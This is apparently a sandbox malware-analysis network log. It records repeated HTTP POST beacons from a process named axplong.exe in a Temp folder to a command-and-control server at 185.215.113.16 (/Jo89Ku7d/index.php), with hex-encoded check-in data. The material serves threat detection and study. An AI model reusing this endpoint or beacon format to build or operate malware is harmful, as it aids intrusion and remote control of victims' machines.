                      19192.168.2.849731185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:25.019562006 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:25.718122005 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:25 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:25.719909906 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:25.948371887 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:25 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      20192.168.2.849732185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:26.059314966 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:26.789566994 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:26 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:26.790895939 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:27.028249025 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:26 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      21192.168.2.849733185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:27.137274981 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:27.836354017 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:27 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:27.837341070 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:28.060637951 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:27 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      22192.168.2.849734185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:28.168579102 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:28.862435102 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:28 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:28.863321066 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:29.092494011 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:28 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      23192.168.2.849735185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:29.333518028 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:29.991930008 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:29 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:29.994066000 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:30.232722044 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:30 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      24192.168.2.849736185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:30.343944073 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:31.051039934 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:30 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:31.051928997 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:31.282519102 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:31 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      25192.168.2.849737185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:31.402669907 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:32.121578932 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:32 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:32.195930004 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:32.423513889 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:32 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      26192.168.2.849738185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:32.601516962 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:33.302517891 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:33 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:33.303366899 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:33.526953936 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:33 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      27192.168.2.849739185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:33.636814117 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:34.334193945 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:34 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:34.335016966 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:34.561512947 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:34 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      28192.168.2.849740185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:34.683742046 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:35.383037090 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:35 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:35.383995056 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:35.613106012 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:35 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      29192.168.2.849741185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:35.730496883 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:36.482850075 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:36 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:36.483800888 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:36.711925030 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:36 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      30192.168.2.849742185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
                      Sep 27, 2024 07:02:36.824736118 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 4
                      Cache-Control: no-cache
                      Data Raw: 73 74 3d 73
                      Data Ascii: st=s
                      Sep 27, 2024 07:02:37.539880991 CEST219INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:37 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Refresh: 0; url = Login.php
                      Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 1 0
                      Sep 27, 2024 07:02:37.540976048 CEST310OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                      Content-Type: application/x-www-form-urlencoded
                      Host: 185.215.113.16
                      Content-Length: 156
                      Cache-Control: no-cache
                      Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 31 41 31 34 45 43 45 46 32 46 44 33 33 43 32 30 34 41 36 42 34 30 43 30 41 35 43 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32
                      Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F1A14ECEF2FD33C204A6B40C0A5C70318BBC0065C0D5A95967DF4A060332
                      Sep 27, 2024 07:02:37.801249027 CEST196INHTTP/1.1 200 OK
                      Server: nginx/1.18.0 (Ubuntu)
                      Date: Fri, 27 Sep 2024 05:02:37 GMT
                      Content-Type: text/html; charset=UTF-8
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                      Data Ascii: 7 <c><d>0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      31192.168.2.849743185.215.113.16805760C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                      TimestampBytes transferredDirectionData
